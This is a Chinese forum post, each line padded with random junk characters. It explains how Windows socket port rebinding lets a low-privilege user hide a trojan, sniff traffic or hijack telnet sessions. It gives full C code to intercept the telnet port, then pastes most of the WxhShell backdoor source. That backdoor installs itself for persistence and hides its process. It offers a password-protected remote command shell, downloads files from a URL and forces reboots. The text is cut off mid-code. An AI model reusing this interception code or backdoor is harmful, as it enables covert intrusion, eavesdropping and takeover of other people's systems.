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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1o8C4?T&  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 28! ke  
ixY[ HDPq  
  saddr.sin_family = AF_INET; f'oO/0lx  
sOyL  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^cnTZzT#Q  
3-PqUJT$   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); CiNOGSlDj  
#>ob1b|  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  81}JX  
+L,V_z  
  这意味着什么?意味着可以进行如下的攻击: +7KRoF|  
* @=ZzL  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 x##0s5Qn  
Uk'bOp  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) E~y( @72)  
Vm*E^ v  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 >lV'}0u)  
ib\_MNIb  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Tfz _h~D  
KPrH1 [VU  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _qO'(DKylC  
`6:B0-r  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 qI%X/'  
Z_h-5VU-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 fjd)/Gg  
}ip3dm  
  #include rk-GQ#SKU  
  #include fpa ~~E-  
  #include (uVL!%61k  
  #include    FTQNS8  
  DWORD WINAPI ClientThread(LPVOID lpParam);   sx n{uRF  
  int main() !kS/Ei  
  { |pG%]?A  
  WORD wVersionRequested; Q@ Ze+IhK`  
  DWORD ret; X5tx(}j  
  WSADATA wsaData; dLfB){>S  
  BOOL val; KK}ox%j  
  SOCKADDR_IN saddr; VTwDa*]AhB  
  SOCKADDR_IN scaddr; 6dncUfB  
  int err; oMNSQMlI  
  SOCKET s; N XCvS0/h  
  SOCKET sc; ='t}d>l  
  int caddsize; {[)n<.n[g  
  HANDLE mt; vB%os Qm  
  DWORD tid;   +,1 Ea )  
  wVersionRequested = MAKEWORD( 2, 2 ); 1N}vz(0"  
  err = WSAStartup( wVersionRequested, &wsaData ); eBWgAf.k  
  if ( err != 0 ) { p/U{*i ]t  
  printf("error!WSAStartup failed!\n"); ~Z~V:~  
  return -1; o1?S*  
  } :2.<JUDM  
  saddr.sin_family = AF_INET; 0T7t.  
   z*UgRLKZD  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 )*XD"-9  
v&qL r+_7  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); IG Ax+3V  
  saddr.sin_port = htons(23); }a%1$>sj  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) EO`eg]  
  { ?2%;VKN4  
  printf("error!socket failed!\n"); aD+4uGN  
  return -1; wJZuJ(  
  } q5G`q&O5  
  val = TRUE; {e5DQ21.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 v`@NwH<r  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /Nkxb&  
  { .b? Aq^i8  
  printf("error!setsockopt failed!\n"); 5P{[8PZxbV  
  return -1; b_X&>^4Dkl  
  } ,M9e *  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [w90gp1O[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 v5F+@ug  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 7$*X   
TwsI8X  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #g/m^8n?s  
  { \10KIAQ  
  ret=GetLastError(); nb.|^O?  
  printf("error!bind failed!\n"); -wT!g;v;%  
  return -1; unih"};ou  
  } 7`f%?xVn0  
  listen(s,2); GC~nr-O  
  while(1) >xXC=z+g]  
  { KM+[1Ze$  
  caddsize = sizeof(scaddr); %P7 qA  
  //接受连接请求 >6R3KJe  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); r )HZaq  
  if(sc!=INVALID_SOCKET) DL<;qhte  
  { ,{;*b v  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); guG&3{&\s  
  if(mt==NULL) J5(^VKj  
  { {- &`@V  
  printf("Thread Creat Failed!\n"); S=gb y  
  break; O0FUJGuTS  
  } L~%7=]m  
  } %!r.) Wx|2  
  CloseHandle(mt); pC]XbokES  
  } Re2&qxE  
  closesocket(s); Qvty;2$o@  
  WSACleanup();  T  5F)  
  return 0; %fnG v\uI  
  }   Y1ks'=c>  
  DWORD WINAPI ClientThread(LPVOID lpParam) SpImd IpD  
  { j9rxu$N+  
  SOCKET ss = (SOCKET)lpParam; ;80^ GDk~S  
  SOCKET sc; ! B92W  
  unsigned char buf[4096]; OD9z7*E@  
  SOCKADDR_IN saddr; !,dp/5 V  
  long num; }i{qRx"4  
  DWORD val; O}w%$ mq  
  DWORD ret; I tb_ H  
  //如果是隐藏端口应用的话,可以在此处加一些判断 zE<Iv\Q  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   dr(-k3ex  
  saddr.sin_family = AF_INET; 14"+ctq  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7{]dh+)  
  saddr.sin_port = htons(23); d@ >i=l [  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1Au+X3   
  { Xo:Mar  
  printf("error!socket failed!\n"); 2e-`V5{)b  
  return -1; OIJT~Z}  
  } v$D U q+  
  val = 100; x5CMP%}d  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?% [~J  
  { r ^\(M {  
  ret = GetLastError(); "X^<g{]  
  return -1; fZj,Q#}D  
  } S43JaSw)  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *:Rs\QH   
  { [}M!ez  
  ret = GetLastError(); q-+:1E  
  return -1; Rpv[rvK'  
  } 0-[naGz  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Lg~C:BN F  
  { 0QT:@v2R  
  printf("error!socket connect failed!\n"); Fuzb4Df  
  closesocket(sc); \+#EO%sN1%  
  closesocket(ss); y|)VNnWM  
  return -1; .$H"j>  
  } ``P9fd  
  while(1) n0!2-Q5U)h  
  { f@$W5*j  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +ZwoA_k{  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 A .Wf6o  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 t,Ka] /I  
  num = recv(ss,buf,4096,0); .1q}mw   
  if(num>0) hHhDs>tB  
  send(sc,buf,num,0); p#{y9s4h  
  else if(num==0) J8!2Tt  
  break; {x?qz~W  
  num = recv(sc,buf,4096,0); p0WUF\"  
  if(num>0) ccrWk*tr  
  send(ss,buf,num,0); ) $_1U!z  
  else if(num==0) [gpO?'~  
  break; gHp*QL\?9  
  } F3EAjO)ch  
  closesocket(ss); Uns%6o  
  closesocket(sc); :09NZ !!  
  return 0 ; jLVG=rOn  
  } yKoZj   
a_V\[V{R=  
_FYA? d}  
========================================================== Hf@4p'  
e`s1z|h  
下边附上一个代码,,WXhSHELL '9Z`y_~)G  
cZQ8[I  
========================================================== >7PQOQMW'  
MzX&|wimb  
#include "stdafx.h" =T,Q7Dh  
9-/q-,  
#include <stdio.h> aTTkj\4  
#include <string.h> RARA_tii  
#include <windows.h> 50QDqC-]XS  
#include <winsock2.h> ,puoq {  
#include <winsvc.h> 5, ,~k=  
#include <urlmon.h> |y[I!JdR  
V:Gy pY)  
#pragma comment (lib, "Ws2_32.lib") A4!X{qUT-  
#pragma comment (lib, "urlmon.lib") 6{buel(|e  
*{vH9TO  
#define MAX_USER   100 // 最大客户端连接数 X2@Ef2EkM  
#define BUF_SOCK   200 // sock buffer dI ,A;.  
#define KEY_BUFF   255 // 输入 buffer g ns}%\,  
\^*:1=|7u]  
#define REBOOT     0   // 重启 $j.;$~F  
#define SHUTDOWN   1   // 关机 _i}b]xfM  
tkT,M,]?9  
#define DEF_PORT   5000 // 监听端口 B`Z3e%g#  
0#9H;j<Op  
#define REG_LEN     16   // 注册表键长度 wKLYyetM!  
#define SVC_LEN     80   // NT服务名长度 e{@RBYX@+c  
J`U]Ux/L  
// 从dll定义API !:!(=(4$P  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pE&G]ZC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V ml 6\X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >) u;X  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D{6 y^@/  
?"mZb#%  
// wxhshell配置信息 K2zln_W  
struct WSCFG { ywAvqT,  
  int ws_port;         // 监听端口 dGYR  'x  
  char ws_passstr[REG_LEN]; // 口令 M; wKTTQy  
  int ws_autoins;       // 安装标记, 1=yes 0=no l.o/H|  
  char ws_regname[REG_LEN]; // 注册表键名 Qc3d<{7\~  
  char ws_svcname[REG_LEN]; // 服务名 7K\v=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bRxI7 '  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ze~P6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Uv(R^50>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 22ON=NN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7]vmtlL  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `!vqT 3p,  
`FPQOa*%3  
}; 94+^K=lAX  
}ouGxs+^[  
// default Wxhshell configuration {&n- @$?  
struct WSCFG wscfg={DEF_PORT, zsXgpnlHT  
    "xuhuanlingzhe", F<,pAxl~@  
    1, 3p=Xv%xd  
    "Wxhshell", E:x@O8F  
    "Wxhshell", g:M;S"U3*Y  
            "WxhShell Service", K<e #y!  
    "Wrsky Windows CmdShell Service", yMz#e0k  
    "Please Input Your Password: ", m"n74 cxS  
  1, hn8xs5vN  
  "http://www.wrsky.com/wxhshell.exe", -lhIL}mGf  
  "Wxhshell.exe" k sv]  
    }; o~~;I  
}QCnN2bV  
// 消息定义模块 @& }}tALi  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 09-8Xzz  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ] zol?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9r].rzf9  
char *msg_ws_ext="\n\rExit."; R'k `0  
char *msg_ws_end="\n\rQuit."; <?KPyg2  
char *msg_ws_boot="\n\rReboot..."; =7<JD}G  
char *msg_ws_poff="\n\rShutdown..."; /y G34) aB  
char *msg_ws_down="\n\rSave to "; =HCEUB9Fs  
B-MS@ <2  
char *msg_ws_err="\n\rErr!"; ,a{85HLr]  
char *msg_ws_ok="\n\rOK!"; rkjnw@x\  
Wk0E7Pr  
char ExeFile[MAX_PATH]; hI:.Qp`r  
int nUser = 0; ']1n?K=A  
HANDLE handles[MAX_USER]; IE`3I#v  
int OsIsNt; r%.k,FzGZY  
<Q~N9W  
SERVICE_STATUS       serviceStatus; r @4A% ql<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; t(#9.b`W)  
2t\0vV2)/O  
// 函数声明 [Arf!W-QG  
int Install(void); &>zH.6%$  
int Uninstall(void); YCbvCw$Ob  
int DownloadFile(char *sURL, SOCKET wsh); |fgUW.  
int Boot(int flag); \_`qon$9  
void HideProc(void); \jiE :Qt  
int GetOsVer(void); |SkQe[t  
int Wxhshell(SOCKET wsl); OT 0c5x  
void TalkWithClient(void *cs); L]kBY2c  
int CmdShell(SOCKET sock); |Mb{0mKb  
int StartFromService(void); lcdhOjz!N  
int StartWxhshell(LPSTR lpCmdLine); {$^'oRk  
?P'$Vxl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); spV7\Gs.@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); msmW2Zc  
|T|m5V'l  
// 数据结构和表定义 mXRkR.zu+  
SERVICE_TABLE_ENTRY DispatchTable[] = 4-yK!LR  
{ CVfV    
{wscfg.ws_svcname, NTServiceMain}, x(Bt[=,K3  
{NULL, NULL} ZM.'W}J{ *  
}; PQ 4mNjXN  
AM}2=Ip  
// 自我安装 FH=2, "A  
int Install(void) XQy`5iv  
{ zV&l^.  
  char svExeFile[MAX_PATH]; ~m6=s~Vn  
  HKEY key; gK rUv0&F  
  strcpy(svExeFile,ExeFile); Z mJ<h&  
n~ *|JJ*`  
// 如果是win9x系统,修改注册表设为自启动 nQiZ6[L  
if(!OsIsNt) { ?8-Am[xH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;M3%t=KV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WWunS|B!  
  RegCloseKey(key); `dZ|Ko%k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .TGw+E1k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h$02#(RHJ  
  RegCloseKey(key); )=5 &Q  
  return 0; LCB-ewy#E  
    } \4N8-GwZQ  
  } -uYxc=4Lh  
} :*Wq%Y=  
else { : "85w#r  
s)E  \  
// 如果是NT以上系统,安装为系统服务 }X)vktE+|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O%EA ,5U.  
if (schSCManager!=0) ["3dr@T9Z  
{ ^ }7O|Y7  
  SC_HANDLE schService = CreateService A8m06  
  ( 1$&@wG  
  schSCManager, fp [gKRSF  
  wscfg.ws_svcname, 4'O,xC  
  wscfg.ws_svcdisp, bT ,_=7F  
  SERVICE_ALL_ACCESS, ?\o~P  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , pkn^K+<n,  
  SERVICE_AUTO_START, HA,o2jZ?In  
  SERVICE_ERROR_NORMAL, iXMJ1\!q\|  
  svExeFile, L I<S  
  NULL, K7RAmX  
  NULL, gQeQy  
  NULL, {M**a  
  NULL, 4m0^ N  
  NULL E=8'!  
  ); zy,SL |6:  
  if (schService!=0) 83vMj$P  
  { `dvg5qQ  
  CloseServiceHandle(schService); 0i*V?  
  CloseServiceHandle(schSCManager); ;C@mT;hR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YlrN^rO  
  strcat(svExeFile,wscfg.ws_svcname); |&#N&t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { q94;x|63  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tl 0|.Q,  
  RegCloseKey(key); ?AyxRbk  
  return 0; d>p' A_  
    } kOydh(yE  
  } r07u6OA  
  CloseServiceHandle(schSCManager); Xz^nm\  
} ^^b'tP1>  
} .a@12J(I  
V%8(zt  
return 1; KsKE#])&l  
} eh9 ?GUr5  
Dj\nsc@e3  
// 自我卸载 _WEJ,0* #'  
int Uninstall(void) H,(vTthd  
{ #~ x7G  
  HKEY key; gC1LQ!:;Oi  
k6b ct@7  
if(!OsIsNt) { h3@tZL#g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~q ^o|?  
  RegDeleteValue(key,wscfg.ws_regname); JWb +  
  RegCloseKey(key); b G:\*1T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U`(=iyWP=  
  RegDeleteValue(key,wscfg.ws_regname); ;E.]:Ia~  
  RegCloseKey(key); "6jt$-?  
  return 0; d,^O[9UWo  
  } !UoA6C:  
} c>LP}PGk  
} &>\;4E.O5  
else { a3yNd  
1/97_:M0~F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); UePkSz9EU  
if (schSCManager!=0) '-v:"%s|  
{ G0 )[(s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); V ?Jy  
  if (schService!=0) E f\|3D_  
  { ^2k jO/  
  if(DeleteService(schService)!=0) { Rt#QW*h\|i  
  CloseServiceHandle(schService); HP8J\`  
  CloseServiceHandle(schSCManager); r XJx~ g  
  return 0; _KM? ?&  
  } }B-$}  
  CloseServiceHandle(schService); lUu0AZQmG  
  } QD@O!}; T  
  CloseServiceHandle(schSCManager); ?\Z pVL<>  
} t(3f} ?  
} "u6pl);G  
rDWAZ<;;  
return 1; ogFo/TKM  
} &Sd5]r@+  
HA0!>_I dC  
// 从指定url下载文件 :Qge1/  
int DownloadFile(char *sURL, SOCKET wsh) FOG{dio  
{ x$d[Ovw-  
  HRESULT hr; h?xgOb!4  
char seps[]= "/"; p7|I>8ur.  
char *token; d'';0[W)  
char *file; 1 m'.wh|  
char myURL[MAX_PATH]; )-4c@  
char myFILE[MAX_PATH]; Xe_ <]|  
D)PX|xrn  
strcpy(myURL,sURL); E*YmHJ:k  
  token=strtok(myURL,seps); B=cA$620  
  while(token!=NULL) }+!"mJx@  
  { in1rDN%Vi  
    file=token; D)-LZbPa  
  token=strtok(NULL,seps); Jt[ug26  
  } |?88EG@05  
4;YP\{u  
GetCurrentDirectory(MAX_PATH,myFILE); QGpj$ _b  
strcat(myFILE, "\\"); N?qETp-:  
strcat(myFILE, file); _x.2&S89  
  send(wsh,myFILE,strlen(myFILE),0); .+9*5  
send(wsh,"...",3,0); M`&t=0D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZN}`A7  
  if(hr==S_OK) l!,tssQ  
return 0; ZD&F ,2v  
else 2'fd4 rE5  
return 1; O!"K'Bm  
 :tZsSK  
} dUv@u !}B  
wH|%3 @eJ  
// 系统电源模块 $ +WXM$N  
int Boot(int flag) X;!*D  
{ Dl/ C?Fll  
  HANDLE hToken; D/E5&6  
  TOKEN_PRIVILEGES tkp; ?2"g*Bak  
8xlj,}QO\  
  if(OsIsNt) { p6j-8ggL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;T^s&/>E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ={B C0,  
    tkp.PrivilegeCount = 1; b:S$oE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9?\cm}^?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^ |MS2'  
if(flag==REBOOT) { *)Pm   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) WXxnOLJr  
  return 0; 2Z{?3mAb;  
} ,WE2.MWR  
else { u{4P)DIQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) g"/n95k<  
  return 0; ajycYk9<m  
} }uDpf0;^  
  } F$8:9eL,T  
  else { 3Ws(],Q  
if(flag==REBOOT) { ~u*4k:2H  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [k 7HLn)  
  return 0; 8U@f/ P  
} % f;v$rsZ  
else { RJ?)O#}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~m fG Yk"  
  return 0; Q9cSrU[$  
} ,[ 2N3iH  
} 7FH-l(W  
!PIg ,  
return 1; bVcJ/+Yx|  
} h?TIxo:6/  
807+|Ol[  
// win9x进程隐藏模块 I q|'#hs  
void HideProc(void) ,9y6:W%5  
{ b,Eq-Z;  
T}!9T!(HdF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); H {=]94  
  if ( hKernel != NULL ) q&:7R .Ci  
  { fExFpR,`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 76T7<.S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~;oXLCL0})  
    FreeLibrary(hKernel); SXsszb:_  
  } q!W,2xqZoq  
gbMA-r:IC  
return; V n_&q6Pa  
} f8-`bb  
x6K_!L*Fx]  
// 获取操作系统版本 2Ug_3ZuU  
int GetOsVer(void) S<(i/5Z+  
{ |~A*?6:@  
  OSVERSIONINFO winfo; .+>fD0fW7Y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fm Yx  
  GetVersionEx(&winfo); GpPM?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /[ m7~B]QE  
  return 1; qD%88c)g  
  else n_{&dVE  
  return 0; uyEk1)HC  
} QV."ZhL5=  
7y^)n<'co  
// 客户端句柄模块 ` u3kP  
int Wxhshell(SOCKET wsl) r~=+>, _  
{ RV@B[:  
  SOCKET wsh; f/L8usBXq  
  struct sockaddr_in client; 1o5kP,)  
  DWORD myID; 0VvY(j:hp  
PoZ$3V$(Lz  
  while(nUser<MAX_USER) fKEDe>B5  
{ ^%*qe5J  
  int nSize=sizeof(client); y a$yRsd`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); SkV pZh  
  if(wsh==INVALID_SOCKET) return 1; vgc~%k62c  
Zs^zD;zU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q=!QCDO(  
if(handles[nUser]==0) ]|F`;}7  
  closesocket(wsh); Eet/l]e#a  
else  @mw1__?  
  nUser++; n%h00 9 -5  
  } %o9mG<.T  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |j"C52Q  
c2V_|oL  
  return 0; kPOk.F%)  
} ]pNM~,  
oBmv^=cH  
// 关闭 socket yVzV]&k  
void CloseIt(SOCKET wsh) &H+ wzx<  
{ &5jc &CS  
closesocket(wsh); I!F&8B+|  
nUser--; H5]q*D2  
ExitThread(0); .+2:~%v6  
} 8r}tf3xMCM  
#l>r9Z71  
// 客户端请求句柄 ^XyC[ G@[  
void TalkWithClient(void *cs) <O) if^  
{ L]=mQo  
@<P;F  
  SOCKET wsh=(SOCKET)cs; )j]f ]8  
  char pwd[SVC_LEN]; 9Cd=^Im5  
  char cmd[KEY_BUFF]; Qv,ORm h5  
char chr[1]; E>@]"O)=M,  
int i,j; Wv5=$y  
>mQD/U  
  while (nUser < MAX_USER) { Up-^km  
?/}IDwuh  
if(wscfg.ws_passstr) { /p;OZf]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GQ Flt_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rSDI.m   
  //ZeroMemory(pwd,KEY_BUFF); 'n{=`e(}cI  
      i=0; (xfy?N  
  while(i<SVC_LEN) { Q$Qr)mcC  
DFfh!KKR$  
  // 设置超时  Dt5AG  
  fd_set FdRead; %eF=;q  
  struct timeval TimeOut; k FRVW+  
  FD_ZERO(&FdRead); GwgY{-|`  
  FD_SET(wsh,&FdRead);  pb<eg,  
  TimeOut.tv_sec=8; 11S{XbU  
  TimeOut.tv_usec=0; `$4wm0G|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %b pQ=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Hv"qRuQ?[  
3#fg 2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b7'A5]X  
  pwd=chr[0]; {2xc/   
  if(chr[0]==0xd || chr[0]==0xa) { ='I2&I,)  
  pwd=0; (CDh,ZN;|  
  break; =s AOWI,8!  
  } Aa-OMo;~  
  i++; Gf7r!Ur;g  
    } oeVI 6-_S  
0<-A2O),  
  // 如果是非法用户,关闭 socket 'D+njxCk.A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $XyDw|z[  
} s Wj:m)  
{o'(_.{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "@+Z1k-8U  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CC6]AM(i  
m,5m'9 dj  
while(1) { "V:RKH`  
X.e4pLwGK  
  ZeroMemory(cmd,KEY_BUFF); uf )!SxT  
Ayw {I#"  
      // 自动支持客户端 telnet标准   gT fA]  
  j=0; DBfq9%J _  
  while(j<KEY_BUFF) { &4t=Y`]SL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }P!:0w3  
  cmd[j]=chr[0]; ?S)Pv53>}  
  if(chr[0]==0xa || chr[0]==0xd) { 4fL>Ou[YuX  
  cmd[j]=0; \J~@r1  
  break; ckdCd J  
  } dpdp0  
  j++; HlxgJw~<  
    } lE bV)&'  
tTq2 AR|  
  // 下载文件 +s+E!=s  
  if(strstr(cmd,"http://")) { d<_IC7$u>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5p.#nc!;y  
  if(DownloadFile(cmd,wsh)) lA,[&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); O2Y1D`&5  
  else 9j5k=IXg#a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2Zq_zvKUt  
  } ;k1VY Ie}  
  else { #%CB`l  
<7%#RJwe  
    switch(cmd[0]) { Zh:@A Fz:R  
  0;5qo~1  
  // 帮助 utdus:B#0  
  case '?': { CTB qX  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 30cb+)h(  
    break; %Bnn\{Az  
  } 0#sf,ja>  
  // 安装 DS< E:'N  
  case 'i': { x1+V  
    if(Install()) )"bP]t^_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B%co`0$  
    else 9Kc;]2m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); meD?<g4n~"  
    break; s9b+uUt%  
    } e>HdJ"S`  
  // 卸载 ti ic>j\D  
  case 'r': { . P! pC  
    if(Uninstall()) F PAj}as  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p?<T _9e  
    else (ap,3$ hS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;:~-=\  
    break; yD^Q&1  
    } V?C a[  
  // 显示 wxhshell 所在路径 %vWh1-   
  case 'p': { [@/x  
    char svExeFile[MAX_PATH]; =eeZtj.  
    strcpy(svExeFile,"\n\r"); 4^w`] m  
      strcat(svExeFile,ExeFile); QL@}hw.F  
        send(wsh,svExeFile,strlen(svExeFile),0); T;Ra/H  
    break; enQev?8%  
    } ?Hf8<C}3  
  // 重启 @3Mp>u/  
  case 'b': { \BdQ(rm  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /s`8=+\9  
    if(Boot(REBOOT)) ~hQTxLp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q[%+y.  
    else { \4hB1-  
    closesocket(wsh); =@ed {~  
    ExitThread(0); $@ZrGT  
    } &Ht5!zuW,  
    break; vy5SBiK  
    } 6  8a  
  // 关机 `yua?n  
  case 'd': { RATW[(ZA  
